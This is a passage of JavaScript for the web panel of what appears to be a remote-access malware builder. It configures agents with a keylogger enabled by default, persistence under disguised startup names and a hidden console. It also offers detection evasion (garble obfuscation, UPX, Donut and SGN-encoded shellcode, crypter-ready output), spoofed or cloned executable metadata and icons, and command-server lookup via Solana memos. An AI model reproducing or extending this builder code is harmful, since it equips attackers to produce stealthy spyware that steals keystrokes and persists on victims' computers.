    noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
    enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
    enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
    promptWebrtcFirewallOnStart: document.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked ?? false,
    enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false,
    fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
    obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
    garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
    garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
    garbleSeed: document.getElementById("garble-seed")?.value ?? "",
    enableUpx: document.querySelector('input[name="enable-upx"]')?.checked ?? false,
    upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false,
    sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0",
    enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false,
    persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value),
    startupName: document.getElementById("startup-name")?.value ?? "",
    hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false,
    requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false,
    criticalProcess: document.querySelector('input[name="critical-process"]')?.checked ?? false,
    assemblyTitle: document.getElementById("assembly-title")?.value ?? "",
    assemblyProduct: document.getElementById("assembly-product")?.value ?? "",
    assemblyCompany: document.getElementById("assembly-company")?.value ?? "",
    assemblyVersion: document.getElementById("assembly-version")?.value ?? "",
    assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "",
    outputExtension: document.getElementById("output-extension")?.value ?? ".exe",
    cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false,
    useDonut: document.getElementById("donut-mode")?.checked ?? false,
    donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked ?? false,
    donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
    donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
    donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked ?? false,
    donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
    useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false,
    shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
    useSgn: document.getElementById("sgn-mode")?.checked ?? false,
    sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
    buildPlugins: collectBuildPluginSettings(),
  };
}

function applyFormSettings(settings) {
  if (!settings || typeof settings !== "object") return;

  const setVal = (id, val) => {
    const el = document.getElementById(id);
    if (el && val !== undefined && val !== null) el.value = String(val);
  };
  const setCb = (sel, val) => {
    const el = document.querySelector(sel);
    if (el && val !== undefined) el.checked = !!val;
  };

  if (settings.buildProvider !== undefined && buildProviderSelect) {
    buildProviderSelect.value = String(settings.buildProvider || "");
    updateBuildProviderUi();
  }

  if (Array.isArray(settings.platforms)) {
    settings.platforms.forEach(({ value, checked }) => {
      const el = document.querySelector(`input[name="platform"][value="${value}"]`);
      if (el) el.checked = !!checked;
    });
  }
  if (settings.serverUrl !== undefined) {
    const isRaw = !!settings.rawServerList;
    setVal("server-url", isRaw ? settings.serverUrl : stripServerUrlPrefix(settings.serverUrl));
  }
  if (settings.rawServerList !== undefined) setCb("#raw-server-list", settings.rawServerList);
  if (settings.solMemo !== undefined) setCb("#sol-memo", settings.solMemo);
  if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress);
  if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints);
  if (settings.outputName !== undefined) setVal("output-name", settings.outputName);
  if (settings.initialClientTag !== undefined) setVal("initial-client-tag", settings.initialClientTag);
  if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId);
  if (settings.mutex !== undefined) setVal("mutex", settings.mutex);
  if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
  if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
  if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
  if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc);
  if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf);
  if (settings.enableQsv !== undefined) setCb('input[name="enable-qsv"]', settings.enableQsv);
  if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
  if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
  if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
  if (settings.promptWebrtcFirewallOnStart !== undefined) setCb('input[name="prompt-webrtc-firewall-on-start"]', settings.promptWebrtcFirewallOnStart);
  if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE);
  if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
  if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
  if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
  if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
  if (settings.garbleSeed !== undefined) setVal("garble-seed", settings.garbleSeed);
  if (settings.enableUpx !== undefined) setCb('input[name="enable-upx"]', settings.enableUpx);
  if (settings.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', settings.upxStripHeaders);
  if (settings.sleepSeconds !== undefined) setVal("sleep-seconds", settings.sleepSeconds);
  if (settings.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', settings.enablePersistence);
  if (Array.isArray(settings.persistenceMethods)) {
    document.querySelectorAll('input[name="persistence-method"]').forEach((el) => {
      el.checked = settings.persistenceMethods.includes(el.value);
    });
  }
  if (settings.startupName !== undefined) setVal("startup-name", settings.startupName);
  if (settings.hideConsole !== undefined) setCb('input[name="hide-console"]', settings.hideConsole);
  if (settings.requireAdmin !== undefined) setCb('input[name="require-admin"]', settings.requireAdmin);
  if (settings.criticalProcess !== undefined) setCb('input[name="critical-process"]', settings.criticalProcess);
  if (settings.assemblyTitle !== undefined) setVal("assembly-title", settings.assemblyTitle);
  if (settings.assemblyProduct !== undefined) setVal("assembly-product", settings.assemblyProduct);
  if (settings.assemblyCompany !== undefined) setVal("assembly-company", settings.assemblyCompany);
  if (settings.assemblyVersion !== undefined) setVal("assembly-version", settings.assemblyVersion);
  if (settings.assemblyCopyright !== undefined) setVal("assembly-copyright", settings.assemblyCopyright);
  if (settings.outputExtension !== undefined) setVal("output-extension", settings.outputExtension);
  if (settings.cryptableMode !== undefined) setCb("#cryptable-mode", settings.cryptableMode);
  if (settings.useDonut !== undefined) {
    setCb("#donut-mode", settings.useDonut);
    if (settings.useDonut) applyDonutMode(true);
  }
  if (settings.donutSingleThreaded !== undefined) setCb("#donut-single-threaded", settings.donutSingleThreaded);
  if (settings.donutExitMode !== undefined) setVal("donut-exit-mode", settings.donutExitMode);
  if (settings.donutEntropy !== undefined) setVal("donut-entropy", settings.donutEntropy);
  if (settings.donutPreserveHeaders !== undefined) setCb("#donut-preserve-headers", settings.donutPreserveHeaders);
  if (settings.donutResumeOffset !== undefined) setVal("donut-resume-offset", settings.donutResumeOffset);
  if (settings.useLinuxShellcode !== undefined) {
    setCb("#linux-shellcode-mode", settings.useLinuxShellcode);
    if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true);
  }
  if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole);
  if (settings.useSgn !== undefined) {
    setCb("#sgn-mode", settings.useSgn);
    if (settings.useSgn) applySgnMode(true);
  }
  if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations);
  if (settings.buildPlugins !== undefined) applyBuildPluginSettings(settings.buildPlugins);

  const restoredObfuscate = document.querySelector('input[name="obfuscate"]');
  const garbleContainer = document.getElementById("garble-settings-container");
  if (restoredObfuscate && garbleContainer) {
    garbleContainer.classList.toggle("hidden", !restoredObfuscate.checked);
  }
  const restoredUpx = document.querySelector('input[name="enable-upx"]');
  const upxContainer = document.getElementById("upx-settings-container");
  if (restoredUpx && upxContainer) {
    upxContainer.classList.toggle("hidden", !restoredUpx.checked);
  }

  updateWindowsSectionVisibility();
  updateIosSectionVisibility();
  updatePersistenceSettingsVisibility();
  updateShellcodeCheckboxVisibility();
  updateDisableCgoWarning();
  updateMacosSdkVisibility();
  if (solMemoCheckbox && solSettings) {
    solSettings.classList.toggle("hidden", !solMemoCheckbox.checked);
  }
  if (serverUrlInput && rawServerListCheckbox) {
    updateServerUrlPlaceholder();
    updateLocalServerWarning();
  }
  applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false);
  updateWebrtcFirewallPromptOption();
}

function saveFormSettings() {
  try {
    const settings = collectFormSettings();
    localStorage.setItem(BUILD_SETTINGS_KEY, JSON.stringify(settings));
  } catch (err) {
    console.error("Failed to save form settings:", err);
  }
}

function restoreFormSettings() {
  try {
    const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
    if (!raw) return;
    const settings = JSON.parse(raw);
    applyFormSettings(settings);
  } catch (err) {
    console.error("Failed to restore form settings:", err);
  }
}

const buildProfileManager = createBuildProfileManager({
  elements: {
    profileSelect,
    profileNameInput,
    profileSaveBtn,
    profileLoadBtn,
    profileDeleteBtn,
    profileExportBtn,
    profileImportBtn,
    profileImportFile,
  },
  collectFormSettings,
  applyFormSettings,
  saveFormSettings,
});
const { loadBuildProfiles } = buildProfileManager;

const buildHistoryManager = createBuildHistoryManager({
  buildResults,
  buildFilesDiv,
  getCurrentServerVersion: () => currentServerVersion,
  getCurrentUserRole: () => currentUserRole,
  getShowAllBuilds: () => showAllBuilds,
});
const {
  displayBuild,
  loadSavedBuilds,
  saveBuildToStorage,
} = buildHistoryManager;

const CRYPTABLE_DISABLE_TARGETS = [
  'input[name="enable-persistence"]',
  'input[name="enable-upx"]',
  'input[name="upx-strip-headers"]',
  'input[name="require-admin"]',
  'input[name="critical-process"]',
];

const CRYPTABLE_DISABLE_INPUTS = [
  "#assembly-title",
  "#assembly-product",
  "#assembly-company",
  "#assembly-version",
  "#assembly-copyright",
  "#output-extension",
  "#sleep-seconds",
];

const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7];

function applyCryptableMode(enabled) {
  const badge = document.getElementById("cryptable-badge");
  if (badge) badge.classList.toggle("hidden", !enabled);

  CRYPTABLE_DISABLE_TARGETS.forEach((sel) => {
    const el = document.querySelector(sel);
    if (!el) return;
    if (enabled) {
      el.checked = false;
      el.disabled = true;
      el.closest("label")?.classList.add("opacity-40", "pointer-events-none");
    } else {
      el.disabled = false;
      el.closest("label")?.classList.remove("opacity-40", "pointer-events-none");
    }
  });

  CRYPTABLE_DISABLE_INPUTS.forEach((sel) => {
    const el = document.querySelector(sel);
    if (!el) return;
    if (enabled) {
      el.dataset.preCryptableValue = el.value;
      el.value = el.type === "number" ? "0" : "";
      el.disabled = true;
      el.classList.add("opacity-40");
    } else {
      if (el.dataset.preCryptableValue !== undefined) {
        el.value = el.dataset.preCryptableValue;
        delete el.dataset.preCryptableValue;
      }
      el.disabled = false;
      el.classList.remove("opacity-40");
    }
  });

  const iconUploadEl = document.getElementById("icon-upload");
  const iconLabelEl = document.getElementById("icon-label");
  if (iconUploadEl) iconUploadEl.disabled = enabled;
  if (iconLabelEl && enabled) iconLabelEl.closest("label")?.classList.toggle("opacity-40", enabled);
  if (iconLabelEl && !enabled) iconLabelEl.closest("label")?.classList.remove("opacity-40");

  const cloneExeUploadEl = document.getElementById("clone-exe-upload");
  if (cloneExeUploadEl) cloneExeUploadEl.disabled = enabled;
  if (cloneExeUploadEl) cloneExeUploadEl.closest("label")?.classList.toggle("opacity-40", enabled);

  const bindAddLabelEl = document.getElementById("bind-add-label");
  if (bindAddLabelEl) {
    bindAddLabelEl.classList.toggle("opacity-40", enabled);
    bindAddLabelEl.classList.toggle("pointer-events-none", enabled);
  }

  const sections = document.querySelectorAll(".accordion-section");
  CRYPTABLE_HIDE_SECTIONS.forEach((idx) => {
    const sec = sections[idx - 1];
    if (!sec) return;
    if (enabled) {
      sec.classList.add("opacity-30", "pointer-events-none");
      sec.dataset.cryptableDisabled = "true";
    } else {
      sec.classList.remove("opacity-30", "pointer-events-none");
      delete sec.dataset.cryptableDisabled;
    }
  });

  if (enabled) {
    updatePersistenceSettingsVisibility();
    const upxC = document.getElementById("upx-settings-container");
    if (upxC) upxC.classList.add("hidden");
  }

  updateShellcodeCheckboxVisibility();

  saveFormSettings();
}

function applyCryptableShellcodeGate() {
  const cryptableOn = !!document.getElementById("cryptable-mode")?.checked;

  const setGate = (checkboxId, hintId) => {
    const cb = document.getElementById(checkboxId);
    const hint = document.getElementById(hintId);
    if (!cb) return;
    const label = cb.closest("label");
    if (cryptableOn) {
      cb.disabled = false;
      label?.classList.remove("opacity-40", "pointer-events-none");
      if (hint) hint.classList.add("hidden");
    } else {
      if (cb.checked) {
        cb.checked = false;
        cb.dispatchEvent(new Event("change", { bubbles: true }));
      }
      cb.disabled = true;
      label?.classList.add("opacity-40", "pointer-events-none");
      if (hint) hint.classList.remove("hidden");
    }
  };

  setGate("donut-mode", "donut-cryptable-hint");
  setGate("linux-shellcode-mode", "linux-sc-cryptable-hint");
}

function updateShellcodeCheckboxVisibility() {
  const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
  const hasWindows = selected.some((p) => p.startsWith("windows-"));
  const hasLinuxAmd64 = selected.includes("linux-amd64");

  const donutRow = document.getElementById("donut-row");
  if (donutRow) donutRow.classList.toggle("hidden", !hasWindows);

  const linuxScRow = document.getElementById("linux-sc-row");
  if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64);

  applyCryptableShellcodeGate();

  // SGN is only meaningful when there's shellcode to encode — i.e. Donut or
  // Linux shellcode is enabled on a compatible platform.
  const donutOn = document.getElementById("donut-mode")?.checked && hasWindows;
  const linuxScOn = document.getElementById("linux-shellcode-mode")?.checked && hasLinuxAmd64;
  const sgnRow = document.getElementById("sgn-row");
  if (sgnRow) sgnRow.classList.toggle("hidden", !(donutOn || linuxScOn));
  if (!(donutOn || linuxScOn)) {
    const sgnCheckbox = document.getElementById("sgn-mode");
    if (sgnCheckbox?.checked) {
      sgnCheckbox.checked = false;
      applySgnMode(false);
    }
  }
}

function applySgnMode(enabled) {
  const badge = document.getElementById("sgn-badge");
  if (badge) badge.classList.toggle("hidden", !enabled);
  saveFormSettings();
}

function applyDonutMode(enabled) {
  const badge = document.getElementById("donut-badge");
  if (badge) badge.classList.toggle("hidden", !enabled);

  if (enabled) {
    const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
    const hasNonWindows = selected.some((p) => !p.startsWith("windows-"));
    const nonWinWarn = document.getElementById("donut-nonwin-warn");
    if (nonWinWarn) nonWinWarn.classList.toggle("hidden", !hasNonWindows);
  }

  saveFormSettings();
}

function applyLinuxShellcodeMode(enabled) {
  const badge = document.getElementById("linux-sc-badge");
  if (badge) badge.classList.toggle("hidden", !enabled);

  if (enabled) {
    const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
    const hasNonAmd64Linux = selected.some((p) => p.startsWith("linux-") && p !== "linux-amd64");
    const nonX64Warn = document.getElementById("linux-sc-nonx64-warn");
    if (nonX64Warn) nonX64Warn.classList.toggle("hidden", !hasNonAmd64Linux);
  }

  saveFormSettings();
}

function updateWebrtcFirewallPromptOption() {
  const webrtcEnabled = document.querySelector('input[name="enable-webrtc"]')?.checked ?? false;
  const promptInput = document.querySelector('input[name="prompt-webrtc-firewall-on-start"]');
  if (!promptInput) return;
  promptInput.disabled = !webrtcEnabled;
  if (!webrtcEnabled) promptInput.checked = false;
}

restoreFormSettings();
if (serverUrlInput && !serverUrlInput.value.trim()) {
  serverUrlInput.value = getCurrentServerUrlForMode();
  saveFormSettings();
}
updateLocalServerWarning();
initAccordions();
initBuilderTabs();
loadBuildPlugins();
loadMacosSdkStatus();
updateWindowsSectionVisibility();
updateShellcodeCheckboxVisibility();
updateDisableCgoWarning();
init();

if (solMemoCheckbox && solSettings) {
  solSettings.classList.toggle("hidden", !solMemoCheckbox.checked);
}

if (rawServerListCheckbox && serverUrlInput) {
  rawServerListCheckbox.addEventListener("change", () => {
    const isRaw = rawServerListCheckbox.checked;
    const current = serverUrlInput.value.trim();

    if (isRaw && solMemoCheckbox) {
      solMemoCheckbox.checked = false;
      if (solSettings) solSettings.classList.add("hidden");
    }

    if (isRaw) {
      // Raw-list mode wants a real https:// URL pointing at a .txt of endpoints.
      // Swap any wss:// → https:// / ws:// → http:// the user may have left over.
      if (current.startsWith("wss://")) {
        serverUrlInput.value = "https://" + current.slice("wss://".length);
      } else if (current.startsWith("ws://")) {
        serverUrlInput.value = "http://" + current.slice("ws://".length);
      }
    } else {
      // Non-raw mode: bare domain only. The agent prepends wss:// itself.
      serverUrlInput.value = stripServerUrlPrefix(current);
    }
    updateServerUrlPlaceholder();
    updateLocalServerWarning();
  });

  if (serverUrlCurrentBtn) {
    serverUrlCurrentBtn.addEventListener("click", () => {
      if (solMemoCheckbox?.checked) {
        solMemoCheckbox.checked = false;
        if (solSettings) solSettings.classList.add("hidden");
      }
      serverUrlInput.value = getCurrentServerUrlForMode();
      serverUrlInput.dispatchEvent(new Event("input", { bubbles: true }));
      serverUrlInput.dispatchEvent(new Event("change", { bubbles: true }));
      saveFormSettings();
      updateLocalServerWarning();
      serverUrlInput.focus();
    });
  }

  // Live-strip protocol prefixes in non-raw mode so the field stays clean and
  // the user sees their typo corrected immediately.
  serverUrlInput.addEventListener("input", () => {
    if (rawServerListCheckbox.checked) {
      updateLocalServerWarning();
      return;
    }
    const before = serverUrlInput.value;
    const after = stripServerUrlPrefix(before);
    if (after !== before) {
      const caret = Math.max(0, (serverUrlInput.selectionStart ?? after.length) - (before.length - after.length));
      serverUrlInput.value = after;
      try { serverUrlInput.setSelectionRange(caret, caret); } catch {}
    }
    updateLocalServerWarning();
  });
}

const rawServerListHelpBtn = document.getElementById("raw-server-list-help");
const rawServerListModal = document.getElementById("raw-server-list-modal");
const rawServerListModalClose = document.getElementById("raw-server-list-modal-close");
const rawServerListModalOk = document.getElementById("raw-server-list-modal-ok");

function showRawServerListModal() {
  if (!rawServerListModal) return;
  rawServerListModal.classList.remove("hidden");
  rawServerListModal.classList.add("flex");
}
function hideRawServerListModal() {
  if (!rawServerListModal) return;
  rawServerListModal.classList.remove("flex");
  rawServerListModal.classList.add("hidden");
}

if (rawServerListHelpBtn) rawServerListHelpBtn.addEventListener("click", showRawServerListModal);
if (rawServerListModalClose) rawServerListModalClose.addEventListener("click", hideRawServerListModal);
if (rawServerListModalOk) rawServerListModalOk.addEventListener("click", hideRawServerListModal);
if (rawServerListModal) {
  rawServerListModal.addEventListener("click", (e) => {
    if (e.target === rawServerListModal) hideRawServerListModal();
  });
}
document.addEventListener("keydown", (e) => {
  if (e.key === "Escape" && rawServerListModal && !rawServerListModal.classList.contains("hidden")) {
    hideRawServerListModal();
  }
});

if (solMemoCheckbox && solSettings) {
  solMemoCheckbox.addEventListener("change", () => {
    const isSol = solMemoCheckbox.checked;
    solSettings.classList.toggle("hidden", !isSol);

    if (isSol && rawServerListCheckbox) {
      rawServerListCheckbox.checked = false;
      updateServerUrlPlaceholder();
    }

    if (isSol) loadSolRpcEndpoints();
  });
}

function getSelectedPlatformFamilies() {
  const selectedPlatforms = Array.from(
    document.querySelectorAll('input[name="platform"]:checked'),
  ).map((el) => el.value);

  return {
    windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")),
    linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")),
    darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")),
    ios: selectedPlatforms.some((platform) => platform.startsWith("ios-")),
  };
}

function validateStartupName() {
  if (!startupNameError) return true;
  const families = getSelectedPlatformFamilies();
  const val = document.getElementById("startup-name")?.value.trim() || "";
  if ((families.darwin || families.ios) && val && !val.startsWith("com.")) {
    startupNameError.textContent = "macOS/iOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
    startupNameError.classList.remove("hidden");
    return false;
  }
  startupNameError.textContent = "";
  startupNameError.classList.add("hidden");
  return true;
}

function updatePersistenceSettingsVisibility() {
  if (!persistenceMethodContainer) return;

  const persistenceEnabled = !!persistenceCheckbox?.checked;
  if (!persistenceEnabled) {
    persistenceMethodContainer.classList.add("hidden");
    return;
  }

  persistenceMethodContainer.classList.remove("hidden");

  const families = getSelectedPlatformFamilies();
  const hasSupportedFamily = families.windows || families.linux || families.darwin;

  if (persistenceWindowsSettings) {
    persistenceWindowsSettings.classList.toggle("hidden", !families.windows);
  }
  if (persistenceLinuxSettings) {
    persistenceLinuxSettings.classList.toggle("hidden", !families.linux);
  }
  if (persistenceMacSettings) {
    persistenceMacSettings.classList.toggle("hidden", !families.darwin);
  }
  if (persistenceStartupNameContainer) {
    persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily);
  }
  if (startupNameMacosHint) {
    startupNameMacosHint.classList.toggle("hidden", !families.darwin);
  }
  if (startupNameDefaultHint) {
    startupNameDefaultHint.classList.toggle("hidden", families.darwin);
  }
  if (persistenceEmptyState) {
    persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily);
  }
  validateStartupName();
}

if (persistenceCheckbox && persistenceMethodContainer) {
  persistenceCheckbox.addEventListener("change", updatePersistenceSettingsVisibility);
}

platformInputs.forEach((input) => {
  input.addEventListener("change", updatePersistenceSettingsVisibility);
  input.addEventListener("change", updateWindowsSectionVisibility);
  input.addEventListener("change", updateIosSectionVisibility);
  input.addEventListener("change", updateMacosSdkVisibility);
});

disableCgoInput?.addEventListener("change", updateMacosSdkVisibility);
disableCgoInput?.addEventListener("change", updateDisableCgoWarning);
macosSdkFileInput?.addEventListener("change", () => {
  const file = macosSdkFileInput.files?.[0];
  if (macosSdkFileStatus && file) macosSdkFileStatus.textContent = `${file.name} selected (${formatFileSize(file.size)}).`;
});

document.getElementById("startup-name")?.addEventListener("input", validateStartupName);

function updateIosSectionVisibility() {
  const families = getSelectedPlatformFamilies();
  const iosBundleIdContainer = document.getElementById("ios-bundle-id-container");
  if (iosBundleIdContainer) {
    iosBundleIdContainer.classList.toggle("hidden", !families.ios);
  }
}
updateIosSectionVisibility();

updatePersistenceSettingsVisibility();

form?.addEventListener("change", saveFormSettings);
form?.addEventListener("input", saveFormSettings);
document.querySelector('input[name="enable-webrtc"]')?.addEventListener("change", updateWebrtcFirewallPromptOption);

const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]');
const garbleSettingsContainer = document.getElementById("garble-settings-container");
if (obfuscateCheckbox && garbleSettingsContainer) {
  obfuscateCheckbox.addEventListener("change", () => {
    if (obfuscateCheckbox.checked) {
      garbleSettingsContainer.classList.remove("hidden");
    } else {
      garbleSettingsContainer.classList.add("hidden");
    }
  });
}

const upxCheckbox = document.querySelector('input[name="enable-upx"]');
const upxSettingsContainer = document.getElementById("upx-settings-container");
if (upxCheckbox && upxSettingsContainer) {
  upxCheckbox.addEventListener("change", () => {
    if (upxCheckbox.checked) {
      upxSettingsContainer.classList.remove("hidden");
    } else {
      upxSettingsContainer.classList.add("hidden");
    }
  });
}

const cryptableCheckbox = document.getElementById("cryptable-mode");
if (cryptableCheckbox) {
  cryptableCheckbox.addEventListener("change", () => {
    applyCryptableMode(cryptableCheckbox.checked);
  });
  if (cryptableCheckbox.checked) {
    applyCryptableMode(true);
  }
}

const donutCheckbox = document.getElementById("donut-mode");
if (donutCheckbox) {
  donutCheckbox.addEventListener("change", () => { applyDonutMode(donutCheckbox.checked); });
  if (donutCheckbox.checked) applyDonutMode(true);
}

const linuxScCheckbox = document.getElementById("linux-shellcode-mode");
if (linuxScCheckbox) {
  linuxScCheckbox.addEventListener("change", () => {
    applyLinuxShellcodeMode(linuxScCheckbox.checked);
    updateShellcodeCheckboxVisibility();
  });
  if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true);
}

if (donutCheckbox) {
  donutCheckbox.addEventListener("change", () => updateShellcodeCheckboxVisibility());
}

const sgnCheckbox = document.getElementById("sgn-mode");
if (sgnCheckbox) {
  sgnCheckbox.addEventListener("change", () => applySgnMode(sgnCheckbox.checked));
  if (sgnCheckbox.checked) applySgnMode(true);
}
const sgnIterationsInput = document.getElementById("sgn-iterations");
if (sgnIterationsInput) {
  sgnIterationsInput.addEventListener("change", () => saveFormSettings());
}

document.querySelectorAll('input[name="platform"]').forEach((el) => {
  el.addEventListener("change", () => {
    updateShellcodeCheckboxVisibility();
    if (donutCheckbox?.checked) applyDonutMode(true);
    if (linuxScCheckbox?.checked) applyLinuxShellcodeMode(true);
  });
});

let pendingIconBase64 = null;
const iconUpload = document.getElementById("icon-upload");
const iconLabel = document.getElementById("icon-label");
const iconClear = document.getElementById("icon-clear");

if (iconUpload) {
  iconUpload.addEventListener("change", () => {
    const file = iconUpload.files[0];
    if (!file) return;
    if (file.size > 1024 * 1024) {
      alert("Icon file must be under 1MB");
      iconUpload.value = "";
      return;
    }
    const reader = new FileReader();
    reader.onload = () => {
      const base64 = reader.result.split(",")[1];
      pendingIconBase64 = base64;
      if (iconLabel) iconLabel.textContent = file.name;
      if (iconClear) iconClear.classList.remove("hidden");
    };
    reader.readAsDataURL(file);
  });
}

if (iconClear) {
  iconClear.addEventListener("click", () => {
    pendingIconBase64 = null;
    if (iconUpload) iconUpload.value = "";
    if (iconLabel) iconLabel.textContent = "Choose .ico file";
    iconClear.classList.add("hidden");
  });
}

function extractPEMetadata(buffer) {
  const dv    = new DataView(buffer);
  const bytes = new Uint8Array(buffer);

  const u8  = (o) => dv.getUint8(o);
  const u16 = (o) => dv.getUint16(o, true);
  const u32 = (o) => dv.getUint32(o, true);
  const alignUp = (n) => (n + 3) & ~3;

  if (buffer.byteLength < 0x40) throw new Error("File too small");
  if (u16(0) !== 0x5A4D) throw new Error("Not a PE file (missing MZ header)");

  const peOff = u32(0x3C);
  if (peOff + 24 > buffer.byteLength) throw new Error("Invalid PE offset");
  if (u32(peOff) !== 0x4550) throw new Error("Not a PE file (missing PE signature)");

  const numSections  = u16(peOff + 6);
  const optHdrSize   = u16(peOff + 20);
  const optMagic     = u16(peOff + 24);
  const is64         = optMagic === 0x20B; // PE32+ vs PE32

  const dataDirsOff = peOff + 24 + (is64 ? 112 : 96);
  const rsrcRVA     = u32(dataDirsOff + 2 * 8); // index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE
  if (rsrcRVA === 0) throw new Error("No resource section RVA");

  const secTableOff = peOff + 24 + optHdrSize;
  let rsrcRaw = 0;
  for (let i = 0; i < numSections; i++) {
    const s   = secTableOff + i * 40;
    const va  = u32(s + 12);
    const vsz = Math.max(u32(s + 8), u32(s + 16));
    const raw = u32(s + 20);
    if (rsrcRVA >= va && rsrcRVA < va + vsz) {
      rsrcRaw = raw + (rsrcRVA - va);
      break;
    }
  }
  if (!rsrcRaw) throw new Error("Could not locate resource section raw data");

  const rvaToOff = (rva) => rsrcRaw + (rva - rsrcRVA);

  function rsrcDir(dirOff) {
    if (dirOff + 16 > buffer.byteLength) return [];
    const numNamed = u16(dirOff + 12);
    const numId    = u16(dirOff + 14);
    const total    = numNamed + numId;
    const entries  = [];
    for (let i = 0; i < total; i++) {
      const e        = dirOff + 16 + i * 8;
      if (e + 8 > buffer.byteLength) break;
      const nameOrId  = u32(e);
      const dataOrDir = u32(e + 4);
      entries.push({
        id:       (nameOrId  & 0x80000000) ? null : nameOrId,
        isSubDir: (dataOrDir & 0x80000000) !== 0,
        off:       dataOrDir & 0x7FFFFFFF,
      });
    }
    return entries;
  }

  const WANT = new Set([3, 14, 16]);
  const resources = {};
  for (const te of rsrcDir(rsrcRaw)) {
    if (te.id === null || !WANT.has(te.id) || !te.isSubDir) continue;
    resources[te.id] = {};
    for (const ne of rsrcDir(rsrcRaw + te.off)) {
      if (!ne.isSubDir) continue;
      const nameId = ne.id ?? 1;
      resources[te.id][nameId] = [];
      for (const le of rsrcDir(rsrcRaw + ne.off)) {
        if (le.isSubDir) continue;
        const deOff = rsrcRaw + le.off;
        if (deOff + 8 > buffer.byteLength) continue;
        const dataRVA  = u32(deOff);
        const dataSize = u32(deOff + 4);
        const dataOff  = rvaToOff(dataRVA);
        if (dataOff + dataSize <= buffer.byteLength)
          resources[te.id][nameId].push({ dataOff, dataSize });
      }
    }
  }

  function parseVersionStrings(absOff, size) {
    const strings = {};
    const end = absOff + size;
    let pos = absOff;
    if (pos + 6 > end) return strings;

    const viLen    = u16(pos);
    const viValLen = u16(pos + 2);
    pos += 6;

    while (pos + 1 < end && (u8(pos) | u8(pos + 1))) pos += 2;
    pos = alignUp(pos + 2);
    pos += viValLen;
    pos = alignUp(pos);

    const viEnd = Math.min(absOff + viLen, end);
    while (pos + 6 < viEnd) {
      const childLen = u16(pos);
      if (childLen < 6) break;
      const childEnd = Math.min(pos + childLen, viEnd);

      let kp = pos + 6;
      let key = "";
      while (kp + 1 < childEnd && (u8(kp) | u8(kp + 1))) {
        key += String.fromCharCode(u8(kp) | (u8(kp + 1) << 8));
        kp += 2;
      }
      kp = alignUp(kp + 2);

      if (key === "StringFileInfo") {
        let sp = kp;
        while (sp + 6 < childEnd) {
          const stLen = u16(sp);
          if (stLen < 6) break;
          const stEnd = Math.min(sp + stLen, childEnd);
